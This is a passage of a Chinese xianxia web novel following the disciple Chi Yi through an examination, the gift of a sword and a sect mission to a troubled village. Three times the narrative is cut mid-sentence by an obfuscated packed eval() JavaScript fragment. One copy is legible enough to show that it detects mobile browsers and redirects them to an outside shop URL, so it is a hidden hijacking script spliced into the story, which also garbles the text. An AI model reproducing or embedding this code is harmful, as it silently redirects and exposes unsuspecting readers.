周围潜伏的巡查弟子立刻围拢,灵光结成禁制,将那妖物困在中央。它被逼至绝境,再无法维持人形,周身气息扭曲,发出一声尖细嘶鸣。 “收阵——” 众人收势,承宵入鞘,松时生眼底如桃花潭,淡然一笑,就好像顺手之事,毫不费力。 落在池宜眼中,简直是赤裸裸的挑衅!且不说自己发现多大线索,忙活半天周围人都夸上“无情道威武了”。 她抬眼飞快剜了那人一眼,池宜心头更恼,鼻尖几不可查地轻哼一声,偏过脸去,离开云华斋清点妖数。 这些天来这些妖怪非常谨慎,鲜少与宗门子弟接触,在碰到巡查的时候,他们会让一部分妖怪刻意露出原形,吸引火力过去。 将这些妖怪交给扶虞仙尊,殿上足足有三十六只青头六臂妖。 由扶虞仙尊主持,把妖怪所吸的灵气还给宗门弟子,只是有一事尚未查清,为何在各大派中同时多了这么多妖怪? “长老回山啦——长老回山啦——” 金殿的鹦鹉扯着嗓子报信。 “天帝骤然离世,太子贯玉即位。那几个老家伙按捺不住,开始动手了。” 闲渡把自己听来的消息说给池宜,长吁短叹道, “谁承想,太子又拿三百年前事出来,说要重新彻查。我还正想哪里有线索。” “然后呢然后呢?”池宜非常配合地接过话茬。 “这小子精得很,还藏着奚川神尊的五蕴石。” 5. 双境 所谓五蕴,色、受、想、行、识。 据天界秘辛记载,三百年前天魔交战,冼月宫宫主奚川神陨。 江哀河鸣,草枯叶落,天地黯然失色。狂风席卷寰宇,十月飘雪五日不融不消。 人间记载,本初十八年始,三年大旱,猩红不散,皇帝下罪己诏,求天神宽恕。后三年暴雨,水漫青田。民不聊生,饿殍遍地,同类厮杀,这乱世之象,一百二十年才堪堪平息。 传言奚川冲进一道金光之中,霎时,从金光中喷薄出骇人的红,天妖人三界半边天被染上血色,星辰以不可阻挡之力划破边际。 奚川得天地灵气而生,本与天地同寿。 奚川牺牲之前,曾在人间留下名画,也许他早就算到会有今天的劫数,将五蕴石的力量存放在画中位置。 这幅画,最后落在了贯玉手里。 “天界找了百年之久,愣是没个消息。当然我也是道听途说,我是百年前才飞升,那个时候奚川已经死了两百多年。” 池宜问:“没有五蕴石会怎么样?” “五蕴石的力量上可补天,将无序回归有序。下可灭世,将混沌繁衍扩大。冥界受到重创,百年间寂寂。妖界虎视眈眈,早想将妖冥两界合并与天界抗衡,若是放任下去,人间不复存在。自然的规律,也就被破坏。” 她微微偏头,目光落在地面斑驳的光影上,唇瓣抿成一道浅线,连呼吸都放轻了几分,像是怕惊扰了脑子里翻来覆去的念头。 半晌,她才慢半拍地抬了抬眼,睫羽轻轻一颤,眉头并未舒展半分,道, “可如何保证天界拿到五蕴石不生二心?无欲无求才是反自然道理。” 闲渡闻言并未动怒,轻轻颔首,语气沉缓。 “你能想到这一层,可见心思缜密,并非只懂执阵杀敌,这一点,为师甚慰。” 他顿了顿,目光落回池宜微蹙的眉尖,声线添了几分肃穆,缓缓驳道: “可你将天界视作一体,便错了。天界有仙,亦有心;有规,亦有衡。并非无欲无求,便人人皆贪。五蕴之力过盛,任谁握于掌中,皆会引动心魔,这点天道知晓,四界共明。” “搜集五蕴,从不是为了献给某一位天帝、某一方势力,而是为了将其重归天地本源。” 闲渡抬眼望向天际,语气渐深: “五蕴本就生于自然、合于自然,它不该成为任何人的兵器。待集齐五蕴之力,便在三界交汇处设坛归源,将力量散入六道,补全冥界残缺,稳住妖界躁动,护人间秩序,而非握于仙手。” “天界若真有人敢生二心,夺石谋私,届时,你、我,乃至天下修士,皆可执剑而上。我们要守的从来不是天界,是四界平衡。” 你信的不该是仙,不该是神,该信的——是平衡之道,与我们手中可守正道的剑。 师徒二人促膝长谈,池宜脸色愈发怪异,四周被真气环绕。 闲渡当即打坐,运功探息。 “噗——” 闲渡被池宜体内真气所伤,吐出一口浓血。 “师父!” 池宜惊得浑身一僵,慌忙伸手去扶,声音都发颤。 她伸手扶住闲渡摇摇欲坠的身形,指尖触到他冰凉的衣袖,心瞬间提到嗓子眼。 闲渡勉强压下翻腾的气血,抬手按住她的肩,沉稳地摇了摇头,眼底深处翻涌着难以置信的凝重。 “你何时臻化到破晓境了,难怪万象七境你一直无法突破。当年天算子说你有奇筋灵骨,原来说的这层。” 闲渡在琢磨其中关窍,继续说:“你说接了英招一击,或许上古神兽的威压冲破你体内枷锁?从前有万象境压在星辰境上,使得你两境争夺内力,你这才始终无法入境。” “是了。为师得为你琢磨一套适合你的两修功法。哈哈哈,真让我歹师出高徒了!哈哈哈哈!” 闲渡得意没多久,又想到一个棘手的问题。 “小池,为师运功护法,护住心脉,以防两者威力太大,恐怕承受不住爆体而亡。” 池宜见状也不追问,手指绞着头发,发尾些许炸开,知道自己也问不出什么,向闲渡告安回了屋里。 今天的信息量太大了,简直是比中午吃什么还要让人心烦。 夜露深重,池宜在床上辗转到后半夜,终究是披了件外衫,悄声出了房门。 弟子居虽有夜结界,但池宜作为首座弟子,还是有资格随意出入。 心乱如麻,她只想寻个清净地方透气,不知不觉便走到了后山溪边。 溪水泠泠,月色铺在水面上,碎成一片银鳞。 刚拐过乱石,她脚步猛地顿住。 松时生倚在溪边老树下,白衣微乱,额角沁着薄汗,平日里清冷如霜的眉眼此刻染着几分不易察觉的苍白。 他膝上平放着承宵剑,一手按在心口,指尖泛着淡青,显然是在自行调息疗伤。 什么时候受伤的?今日布阵时并没有发觉异常。 池宜心口一紧,下意识往后缩了半步,生怕惊扰了他。 陌生气息的闯入,还是惊动了对方。 松时生缓缓睁开眼,眸底还未完全敛去的灵力微光,在夜色里亮得惊人。 见是她,眉峰微不可察地一蹙,随即松开按在心口的手,身姿下意识挺直,又恢复了那副温润和煦的模样。 四目相对,一时无声。 池宜站在原地,手指攥着衣摆,进退两难。 她看着他微微泛白的唇,忽然想起白日里他一剑镇场、云淡风轻的样子—— 那般从容不迫,也并非真的毫不费力。 夜风掠过溪水,带起一阵微凉。 她唇齿轻动,轻声问: “你……受伤了?” 他看了她片刻,声音轻淡得像溪上晚风: “小伤,不碍事。” 语气平淡得仿佛只是拂去衣上尘埃,半点不提方才疗伤,不愿多露半分脆弱。 “夜深露重,你怎么在这里?” 稀松平常的一句话,落进池宜耳朵里像是在质问,眼前又闪过今日众人高高捧起的无情道弟子。 “多余关心你。” 松时生望着她紧绷的侧脸,轻轻道: “我只是不想同门深夜在外,平白出事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池宜想起素真仙尊不苟言笑的脸,一身道袍素净如雪,周身总绕着生人勿近的冷意 纵是天大的事落在眼前,也只是淡淡一瞥,无惊无怒,无悲无喜。 眼前忽然闪现过闲渡养的狸猫,在很多年前把长老们的衣服咬了个稀碎,素真吹胡子瞪眼,罚了狸猫两天禁鱼。 想到这里,池宜自己先忍不住笑出声,连忙把跑偏的思绪拉回来,兴致勃勃地看向他: “哎呀,我和你说个好玩的吧。” “我十岁第一次独自下山,师父让我带茶叶。对行市价也不懂,让掌柜拿出最好的。付钱的时候傻眼了,咬牙用自己的补贴了。” 直到现在池宜还在心疼那些钱,对小小的她来说,简直就是“抄家”。 “以前我总想修仙的意义是什么,直到我再追问师父这个问题,他把我碗里的鸡腿夹走送进嘴里那一刻,我再也没思考过这个深奥的问题。” 直到话音落尽,山间只剩风吹竹叶的轻响,她才后知后觉僵在原地。 眼前人安安静静听着,没打断,没插话,连表情都没怎么变。 她这才反应过来—— 她刚才都说了些什么啊。 池宜这才猛地回过神——他们不过是互通名字,点头之交。这倒好,一肚子乱七八糟的趣事全倒了出来,像个没分寸的话痨。 这个世界好安静啊。 6. 试剑 后夜明月低垂,松时生按在心口的指尖缓缓松开,白衣上的薄汗被夜风拂干,只余下轻浅一瞥的柔光。画面骤然收束,只留一声几不可闻的轻叹,散入林间。 闲渡伏案执笔,墨香混着药气漫满小屋,笔尖在功法卷轴上疾走不停,映得眼底亮如星火。 一旁盘膝打坐的池宜周身灵气忽明忽暗,两境之力在经脉中缓缓相融,气息一日稳过一日。 不过眨眼,已经是半个月之后。 七月十五,天晴风清。 “天大的事,也得吃饭。” 一碗温热的山药粥里,红枣和枸杞格外显眼。酥饼里裹着肉馅,一口咬下去,白芝麻先落一地。 池宜喟叹:“美味至极!” 一旁的祝小筱一遍遍默背心经,面前的粥早都凉透不能入口。 “我本想昨夜挑灯夜读,但是眼皮一合实在太舒服...”祝小筱左手反握住侧颈,托住侧脸,指节轻轻抵在耳后,一声轻叹刚落,又是一声更长的叹息。 ......... 试锋台云雾消散,仙钟三响,震彻群山。仙道宗门修为核定,正式开考。 高台之上,诸位长老依次落座,闲渡居于左侧首座,面上不动声色,心底却稳如泰山。 主考席上,松时生白衣临风,承宵剑静置于旁。 各堂弟子纷纷登场,试锋台灵气翻飞。七月中旬艳阳烈烈,上清山山峰凉爽无比,试锋台设在此处再合适不过。 此次考核抽签共100人,其余百人弟子可观摩,也可自主安排活动。 入试锋台要先验明身份,测试灵力。前面弟子依次上前,珠身亮起或明或暗的光。 轮到池宜,她掌心轻覆,只放出最平稳的灵气,不高不低,恰好停留在首席弟子合格线,平平无奇,毫不起眼。 高台长老扫过一眼,并未多言。闲渡端着茶盏,眼底掠过一丝笑意。 “我在你体内星辰境上设了禁制,只让道中测灵石检测不出即可。若是哪日遇到了棘手的事,默念两遍......” 池宜脸上如果有颜色,一定是赤橙黄绿青蓝紫。 ...... 二长老步岳设九曲黄河阵与六丁六甲阵,松时生以承宵开阵,试锋台阵图泛起灵光,要求半柱香内连解二阵。若在解阵中失误,考核终止,关阵留命。 破困,补灵,一子错满盘皆落索。 池宜垂眸凝视,指尖轻落,只凭极致的眼力、熟记的阵理、精准的手法,步步踩在阵眼之上。 六丁六甲阵里,神影环绕。而甲子位,气息最盛最稳定,池宜气运丹田,吐息纳气间攻其正北阵眼。 拆解、扭转、重塑一气呵成,没有半分多余动作。 出了此阵,一跃进入九曲黄河阵。该阵以迷、幻、乱为核心,引天地浊雾、九曲水势,入阵者神魂被扰。 前不久刚和英招过手,池宜对此类阵法多下了功夫。她手腕翻花,闭目探气,手掌轻轻一推,长剑直冲中央浓雾,击破生门阵眼。 风动声来,浓雾消散,池宜耳后别起的长发,向同一方向轻摇。收剑回退,池宜走出阵中,向主考官——松时生拱手示意。 最后一关抽签定对手,池宜抽中的是门内师弟殷峤。殷峤被二长老寄予厚望,早就是心照不宣的第八个首席弟子。 少年性子腼腆,修为扎实,但少了几分临敌变通。 他握剑拱手,神色坦然:“池宜师姐,请多指教。” 池宜足尖轻点地面,身形如轻云斜掠,侧身避让时衣袂扫过风,利落又轻盈。 她不进逼、不强攻,用最基础的身法游走,却让对方连衣角都碰不到。 殷峤脸颊微微涨红,一剑快过一剑,仍是出声提醒:“师姐小心!” 池宜腕间轻转,长剑虚虚一挡,笑意清浅,语带点漫不经心的撩拨:“不过是考核,又不是要和我定终身,不用脸红啊。” 少年握剑的手猛地一僵,耳尖“唰”地红透,剑招瞬间乱了半分。 池宜瞧着他窘迫模样,眼底笑意更浓,脚步错动绕至他身侧,声音放轻:“脸红什么?我又不会吃了你。” 殷峤呼吸一乱,慌得连退两步,眼神都不敢与她相接。 池宜却收了玩笑,招式骤然利落,长剑轻点他剑脊,四两拨千斤般卸去力道。 “师弟稳住,心乱了,剑就歪了。” 她语气带着几分提点,指尖却在收招时轻轻擦过他握剑的手背,快得像错觉。 殷峤哪里见过这招。 池宜顺势以剑鞘轻轻一引,温和地将他送出战圈,分寸拿捏得恰到好处。 “承让了。” 她收剑而立,身姿挺拔清爽,笑意坦荡又温柔。 殷峤低着头半天说不出一句话,只攥着剑小声应道:“师姐……厉害。” 高台主考席上,松时生指尖原本轻抵着膝头,目光平静落于场中。 自池宜开口逗得师弟耳尖通红开始,他的指节便无意识地缓缓收紧,指腹在承宵剑鞘上压出一道浅淡的印子。 他眸色依旧清淡,不见波澜,只是目光凝在池宜身上的时间,莫名久了些,连呼吸都轻了半拍。 身旁长老随口赞了句:“池宜这孩子,惯是会哄人。” 松时生垂眸而听,没应声。方才,目光始终落在场上二人。这样的神态落在旁人眼里,任谁都夸一句“主考官严谨。” 风拂过他白衣袖角,他缓缓坐直身姿,语气平淡如常,听不出半分异样,只淡淡开口: “下一场。” 便在此时,高台东侧传来一阵清朗爽朗的笑声。 一道身着青蓝济世道袍的身影缓步走来,身姿挺拔飒爽,眉眼英气利落,腰间悬着药囊,腰间挂着法鞭。 正是扶虞首座亲传大弟子——段行容。 她刚从人间巡诊救伤归来,特意赶回观考。 段行容目光径直落入场中池宜身上,眼中满是激赏,侧头对身旁长老笑道: “池小师妹好利落的身手!” 闲渡坐在长老席上,慢悠悠呷了口清茶,眼底笑意藏不住,看向身旁的二长老步岳,语气带着几分不易察觉的得意:“我这弟子,向来不爱张扬,倒是让诸位见笑了。” 步岳捋着胡须,颔首叹道:“深藏不露,心性沉稳,闲渡师弟好眼光。” 直到最后一人完成测试,松时生起身,手持成绩名录,白衣被清风拂动,声线清和如玉,响彻整个青云台。 “丙等,二十人。乙等,十七人。甲等,四人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祝小筱再次扑过来,死死抱住池宜的胳膊,晃来晃去:“走啦走啦!银殊早就等着我们啦,还有陆师兄一起来庆祝!” 池宜不经意间抬眼,恰好对上那道清浅的目光。 她飞快移开视线,耳尖悄悄染上一抹绯色,嘴上却依旧散漫:“走了走了!” 说罢,便拉着祝小筱,转身混入人群,只留下一道轻快洒脱的背影。 段行容站在一旁,将这细微一幕尽收眼底,眼中闪过一丝促狭的笑意,故意凑上前:“小师妹很是有趣啊,你说呢,松师弟。” 松时生收回目光,神色恢复如常,清淡如水,只淡淡应了一字:“嗯。” “嗯?你给它取的什么名!不急?!” 闲渡气的差点享年XXX岁于剑阁,这柄通体泛青,剑刃流畅如春水蜿蜒,剑身线条轻灵婉转,无风自动时似游鱼摆尾、逐浪戏水的剑。 于太初三十二年七月十五,得名为“不急”。 闲渡兑现承诺,池宜修道八年,终于有了自己的佩剑,宝贝得不得了。 “池宜迟疑,不疾不急。我俩是缘定三生,不离不弃~(?????)~” 不急被池宜握在手上,起初剑意不稳,总是要挣脱而去。池宜手心的温度渐渐攀上剑柄,安抚躁动不安的剑意。 此时,不急透着一股清润绵长的灵气,握在手中轻而不飘,稳而不沉,恰如池中游鱼自在随性。 7. 出山 “鱼?如何做咸鱼,这是一个很简单的问题。” 银殊身上挂着一条杏黄襻膊,手下面团的表面已揉至光滑。 银殊本是山上龙虎观里一棵百年银杏树,潜心修炼有意外的到真气,集天地精华,在一个雨过天晴的日子里,化成人形。 和人界修炼相比,银殊修为大多时间都是在打坐,筑基修气。银殊做得一手美食,无论多简单的食材在她手里都能翻出花。 “如果让我选,用鲅鱼最好。用香料炒香再风干,用一个...嗯...”银殊用手再身前比划了一个形状,“大概这么大的罐子密封两个月左右最好,烧,蒸,煎都好吃。” 池宜和祝小筱方才讨论的是:如何在修仙途中做一个幸运的咸鱼。 今日难得是月末假,三姊妹凑在一起,小厨房里丁零当啷响个不停。 池宜从后山田里摘了些冬瓜,正坐在小凳上细细调馅。把冬瓜擦成细丝,用力挤去多余水分,拌上梅干菜,又点了清油与盐,一股清清淡淡的鲜气慢慢漫开。 祝小筱考核拿了乙末后先是高兴的大吃一顿,如蝗虫过境所到之处,寸“食”不留。 结果乐极生悲,肠胃不堪重负,整整躺了两天一夜,两日里只靠流食度日,饿得眼都发绿。今日好不容易缓过劲儿,风风火火地赶过来,准备露一手,做个清甜甘爽的——桑葚雪梨蒸饺。只是还没包多少,牙齿已经被染成紫色。 银殊手里握着一块湿毛巾,身子后退手臂向前,掀开已经顺着细缝腾起热气的木盖,水汽扑面而来让人仿佛置身雾中,不得不眯起眼。 蒸饺外皮变的透明,透出内里馅料的颜色,圆润饱满,香气扑鼻。 有黄有绿还有有紫。 池宜和祝小筱拿着高凳围坐在灶台前,祝小筱眼疾手快夹走池宜包的蒸饺,毫不犹豫咬下一口,咸味直冲天灵盖。 “哇——好咸!!”祝小筱当场炸毛,吐也不是,咽也不是,手忙脚乱从凳上蹦下来,疯了似的在厨房里团团转找水喝。 “真这样咸吗?”池宜面露疑惑,跳下高凳,拿来一壶凉茶。 方才池宜调馅、尝味时,只觉得滋味平平淡淡,半点不觉得咸。可祝小筱这反应,分明是咸得过分了。 池宜夹了一个放在碗里,咬破外皮咽下去,味道还是淡淡的。 “咕噜——咕噜——”半壶凉茶入肚,祝小筱才觉得嘴里那种含着一块儿腊肉的感觉渐渐消散。 银殊在二人找水的时候也尝了一口,确实咸了。 “小池师姐,盐确实放多了,不过没关系。”银殊把冬瓜梅菜蒸饺重新放回锅里烧开水煮透,“再煮一会儿就可以吃啦。” 从蒸饺变成水饺,再次腾起的水汽,让池宜仿佛置身迷雾之中。 祝小筱重新坐回来,嚼完一只蒸饺,咂咂嘴,抬眼看向她道:“你最近可得注意身体,别是染了风寒吃不出味了。” 池宜心想:或许是我想多了。 便在此时,院外忽然传来一道急促而惶乱的传音,字字清晰,震得满院皆静: “扶虞仙尊突遭歹人暗算,身中奇毒!掌门有令——全派上下,即日起不得随意走动,不得擅自聚集,违者以同党论处!” 祝小筱手里的筷子“嗒”地顿在碗边,脸色一白。 池宜心头猛地一紧。 仙尊中毒、全派禁足……事态远比想象的严重。 三人脸上笑容均是一僵,咀嚼蒸饺的速度逐渐放慢。 “啊——?!” 反应过来的祝小筱发出一声长叹,又紧紧捂上自己嘴巴,只剩瞪得像铜铃的双眼。 池宜贸略一沉吟,当即起身:“我出去一趟。”她转身快步走向段行容惯常修行的偏院。 刚到院门,只见段行容面色沉冷,正攥着折收着九转青绫鞭的往外走,显然也是刚听到消息。 池宜上前一步,压下心底的惊涛骇浪:“段师姐。” 段行容脚步一顿,抬眸看她,眼底满是凝重与焦灼,只匆匆丢下一句,语气不容耽搁:“我先去给师尊看诊,之后再来寻你。” 话音未落,人已掠出院外,只留一缕淡淡的草木丹香,散在风里。 那缕草木丹香渐渐被风卷散,心头的不安却半点未消。她没再多留,转身缓步回到自己的小院。往日热闹的居所,今日寂静得有些可怕。 刚在石凳上坐到最后一抹阳光被地平线吞噬,一道清逸身影便踏风而来,正是她的师父闲渡。 “随我来。” 天门峰禁地设在山涧后的青谷,此地是上清山东南位阵眼,灵气极盛。 闲渡眉宇间仍带着奔波后的沉肃,语气压得极低:“扶虞那边,暂时稳住了。” 池宜心头刚一松,闲渡下一句立刻钻进耳朵:“只是……” “只是毒根深植,至今仍昏迷不醒,何时能醒,无人敢断言。” 池宜最先想到的是内部出现内鬼,否则扶虞仙尊不可能不声不响地中了奇毒。 “偏巧溯源到的地方,和五蕴石现世的地方所差不过二里地。” “何地?” 闲渡从陈旧的木架上找出堪舆图,圈定一点——望仙村。 望仙村距上清山两千里地,什么样的深仇大恨值得祂千里迢迢而来。 闲渡继续道,语气愈加重:“不止如此。近日门派探子接连回报,此地灵气紊乱,邪气暗生,各大宗门前后已有数名前往探查的道修,音讯全无。” “虽说为师舍不得你去冒险,但这件两件事情,必须得你亲自去。” ......... 段行容是扶虞首席弟子,六日来衣不解带守在扶虞身边。虽说是稳住了病情,但体内毒素尚未完全清出,扶虞一日能清醒的时间不过半柱香。 段行容接到金殿发来的七门同书令——每逢门派大事,都需由七个长老一同决议,签定后才能下派。如今扶虞不省人事,只能由首席弟子代行。 她仔细读过同书令,没有立刻签下名字,走前仔细叮嘱师妹师弟们,匆匆赶去金殿。 金殿之上,气氛肃杀,诸长老议事之声凝重。 段行容步入殿中,不卑不亢,躬身行礼后,抬眸直视诸位长老,声音清冽而坚定:“弟子段行容,请命前往望仙村,定乱扶危。” 声落,满殿微静,无一人开口。 “弟子段行容,请命前往望仙村,定乱扶危!”这一声比方才更坚定。 有人开口:“你是丹修,此行凶险异常。况且扶虞长老至今未完全清醒。” 段行容背脊挺直,目光没有半分退移,语气中含有千钧重力: “正因为弟子是丹修,才更该去。前路必有诡毒交锋,我在,便能多救一人,多稳一分局势。 再者——我乃济世道弟子。我宗我道立世,本为救危扶难,如今宗门有难,仙尊遭厄,望仙村民不聊生,修士接连失踪,我若退缩,何谈济世,何谈修行?” 她顿了顿,声音更沉、更定:“此行不为争功,只为尽责。弟子虽为丹修,亦知宗门大义。请长老允准,让弟子同行。” 此行六位长老本意择一名高阶弟子随去即可,但见段行容这般执着,也便应允了。 七门同书令一出,宗门各院弟子都看到告示: 兹因扶虞仙尊遭歹人暗算,身中奇毒,昏迷未醒;望仙村一带灵气紊乱,邪气滋生,数名宗门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319207|199030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子探查失联,祸事隐现,事关宗门安危与凡间生民。 仙尊蒙难,是宗门之耻;苍生有难,是修士之责。 经宗门七位长老决议,特颁此令: 命陆明修为此次出行领队,统辖诸事、掌领行止; 遣段行容、池宜、祝小筱三弟子随行,协同查探、各司其职; 调拨宗门十五名护法扈从,护卫周全、镇慑邪祟。 即刻整备行装,即日起启程,彻查仙尊中毒缘由、肃清邪祟祸乱、寻回失联弟子,务必恪尽职守、不负宗门所托。途中严守门规,不得擅离、不得妄动,遇事同心协力,速去速归。 此令一出,全宗遵行,不得有违。 上清宗七长老同署 甲酉年七月末 “哇哇哇,我居然也在名册里。”祝小筱握着外出任务的子弟才会悬挂的腰牌,左右打量。 六日前... “此行弟子还有个不情之请。”池宜向闲渡微微拱手,“祝小筱是个不可多得符修奇才,虽然宗门给的品阶不算第一梯队,但她的实战应变能力绝对在同修之上。所以,弟子恳请师父在同书令上添上祝小筱的名字。” 池宜心里比任何人都清楚,祝小筱如果想在符修这条难走之路走的更远见识更多,必须要找一个足够支撑她打破原有思维定势的历练机会。 此行虽然凶险,但不入虎穴焉得虎子,况且有危险,还有这么多人一起解决,天塌不下来。 “好。”闲渡首肯。 ...... “那肯定是你厉害啊!”池宜竖起大拇指,一双眼亮晶晶的,满是笑意。 她凑上前,胳膊肘轻轻撞了撞祝小筱的胳膊,语气轻快又促狭:“宗门慧眼识珠,一眼就瞧上你这符修绝世高手。” 池宜没有拿太多包袱,闲渡和其他长老送来一堆法器宝物,乾坤瓶里已经放着够多的日常物什。 知晓池宜等弟子不会御剑飞行,虽然在人间露面大多时间也不宜暴露法力,但若遇上紧急险情,还是保命要紧。闲渡拿在天街市场买到的荷叶毯,瞬行十几里还是绰绰有余。 ...... 山门之前,云气轻浮,风阵阵。 六位长老身影站在最前方,衣袂飘飘,神色虽沉,目光里却尽是不舍与期许。平日里威严难近的长老们,此刻皆敛了肃穆,多了几分家人般的温厚。 素真仙尊缓步上前,将一枚玉符轻轻递到陆明修手中,沉声道:“前路多诡,望你稳住阵脚,护好同门,凡事三思而行。宗门……等你们平安归来。” 同为济世道的阳真子仙尊看向段行容,语气柔和了几分:“你师父尚在昏迷,你便是她的指望。丹道济世,亦要护好自身,莫要逞强。” 闲渡看向池宜与祝小筱,眉眼温和:“你们虽年少,却心性纯良、机敏果敢。遇事不必硬拼,同心相护,便是最强的道法。” 掌门十五年一轮,这是步岳仙尊第一年执掌,目光缓缓扫过每一张年轻的面孔,代表宗门上下,声音轻而坚定:“扶虞仙尊待醒,同修与百姓待救。你们此去,是历练,也是担当。” 他顿了顿,语气渐暖:“不必求功成名就,流芳千古,但求人人平安,个个归山。” 步岳抬手一挥,数道灵光落在众人腰间、乾坤袋中,皆是护身法器与遁走符箓。 话音落下,两侧弟子齐齐躬身,声如洪钟,震彻山巅: “愿师兄师姐一路平安,早日归山!” 陆明修拱手行礼,段行容垂眸致意,池宜与祝小筱也敛了嬉色,郑重一拜。 “弟子谨记。” 风拂过山门,松涛轻唱,在送别,又像是在守护。 8. 魂来枫林青(1) 一行人甫一出上清山结界,一颗银杏果“噌”从池宜腰间乾坤袋里跳下来,在地上打了两个滚化成人形。 “小池师姐!小筱!” 银殊兴冲冲地奔向前,手腕上还系着去岁端午姊妹三人一起编的五彩绳,缠绕的金线在阳光下闪着光。 她看了一眼陆明修,脸上露出狡黠的笑,扬声打招呼:“陆道长,早呀!” 陆明修抱剑立在原地,神色平静,似是早有预料,开口:“我还以为你会坚持久一些。昨日我拒绝你后,你便找了师妹吧。此行凶险,你......” “打住打住!”银殊在胸前双手交叠,明晃晃地拒绝他继续往下说,“昨天那番话我都快要背过了。再者,我虽幻化时间不久,但我好歹是实打实的有二百八十一年的树龄。所以,” “我很适合一起执行宗门任务。再者,路上若是遇见我的哪个亲朋好友,那句话怎么说来着,叫.....叫”银殊想好的措辞卡在嘴边吐不出来。 “多个朋友多条路。”池宜右手成拳与下唇相碰,不动声色提醒。 “对!”银殊绕到池宜身侧,挽住她的胳膊晃了晃,全然一副赖定了的模样。 池宜轻轻拍了拍她的手背,看向陆明修,语气平和:“师兄,银殊虽化形不久,但灵力稳固。带上她,于此行并无坏处。” 一旁的小筱也跟着点头附和,陆明修看着三人这般模样,终是轻叹一声,不再多言,只沉声道:“既如此,一路务必紧跟队伍,不可擅自离队。” 银殊连连应下,蹦跳着跟在两人身侧,一路叽叽喳喳,倒让原本肃穆的行路氛围添了几分鲜活。 池宜望向另一侧的段行容,她脸色依旧凝重,一副心事重重的样子。 或许是还在担忧扶虞长老的病情。 段行容察觉到池宜投来的目光,抬眼一笑,于无声中道了句“无事。” 走下山路,烟火渐浓,车马往来,与上清山的清寂截然不同。 池宜缓步走到做门派任务时下山常来的糕点铺前,随口点了几样招牌,掌柜的麻利打包,纸绳一系,稳稳递到她手中。祝小筱则拐向一旁的蜜饯摊,挑了酸甜适口的金橘脯、青梅干,又顺手拿了两包炒得喷香的瓜子坚果。银殊熟门熟路挤到卤味摊,拣了几串卤藕与豆干,咸香入味,正是路上解馋的好物。 采买一番,一行人加快脚程。行至城郊渡口,被施以仙术的船看起来与普通的船无二,内里桌椅卧榻一应俱全,舱中还布了简易的聚灵阵,行路修行两不耽误。 陆明修率先登船,十五名宗门弟子紧随其后,依次入舱安顿。池宜、段行容、祝小筱与银殊相继上船,各自寻了位置安放行囊。弟子们分工有序,不多时便将舱内收拾妥当,有人守在船头望风,有人在舱中打坐调息,并无异样。 行舟浩澜江,水波悠悠,两岸青山相对移。头两日一路风平浪静,既无妖邪滋扰,也无风雨阻拦,过得安稳又平淡。 白日里众人或静坐修炼,或凭栏看景,偶尔低声交谈几句,江面之上只余船桨划水的轻响。陆明修偶尔召集众人看堪舆图,琢磨布阵。 待到夜幕降临,江风微凉,月色铺洒在水面,波光粼粼。白日赶路修行稍显枯燥,弟子们收拾妥当后,便聚在中舱围坐一处。不知是谁取来一副叶子戏,几人一撺掇,池宜、段行容、祝小筱也被拉了过去,银殊更是兴致勃勃挤在中间,连陆明修都被众人围着,难得放下长剑,一同落座。 “陆师兄平时看不出,还是个打叶子戏的高手。”弟子们围在一起,也不知道是谁说了这么一句,引得哄堂大笑。 灯火轻摇,叶子牌在手中翻飞,说笑之声轻轻漾开。银殊手气颇好,连赢几局,眉眼弯弯,笑得轻快。段行容心事稍解,脸上也多了几分柔和,指尖轻叩桌面,从容应对。十五名弟子围在旁侧,或观战或参与,白日里的肃穆与紧绷,在这一江月色、一局闲戏里,渐渐散了个干净。 叶子戏玩得久了,舱内暖意融融,银殊坐的浑身发燥,揉了揉酸胀的手腕,轻声道:“我出去透透气。”说罢便轻手轻脚走出船舱,立在船头吹江风。 不少弟子也觉困倦,陆续起身回侧舱歇息,原本热闹的中舱顿时空了大半。 可奇怪的是——人明明少了许多,舱内舱外的呼吸声却依旧厚重,仿佛暗处还藏着无数看不见的影,沉沉地压在人心头。 留在船舱的几人脸上的笑意褪去,池宜与陆明修对视一眼。 偏巧在此时,船舱外猛地传来一声惊呼! “噗通——” 一名弟子本来好好地靠在船边,突然间像是卸了重力,整个人直直坠入江水中,水花高高溅起。 银殊反应最快,几乎是话音未落的瞬间,纵身一跃,毫不犹豫跳入冰冷江水之中。 舱内众人惊起,池宜身形一晃,掠至船边,急唤一声“不急!”,剑化一道柔光卷向水中,将银殊一同那弟子迅速拽回船上。 陆明修稳稳接住银殊,池宜眼疾手快扶住坠江弟子。他呛咳不止,面色惨白,浑身湿透,惊魂未定。 方才那阵厚重的呼吸声,非但没有消失,反而越来越近、越来越急促,如同无数粗重的气息贴在耳畔,阴冷黏腻,像是有意捉弄一船人。 众人瞬间警醒——是被妖物盯上了! 刚下已经歇下的众人又迅速奔向这里,匆匆赶来的段行容抽出九转青绫鞭团团护住众人,青色光芒形成结界,陆明修立刻拔剑,池宜掐诀戒备,弟子们纷纷祭出法器,灵力运转,四下扫探。可无论符箓、灵诀、探妖术如何施展,那妖物始终隐在暗处,不见踪影,仿佛与江水、夜色融为一体。 “它藏得极深,寻常法子逼不出来。”段行容沉声道。 池宜眸光微凝,忽然开口:“天色已晚,大家先回去休息吧。” 段行容会意,应声附和。方才陆明修运功将银殊和落水弟子身上烘干,弟子们又各自回去休息,主舱里只留下五人商议。 烛火轻曳,此时主舱内沉闷的呼吸声已经消失。 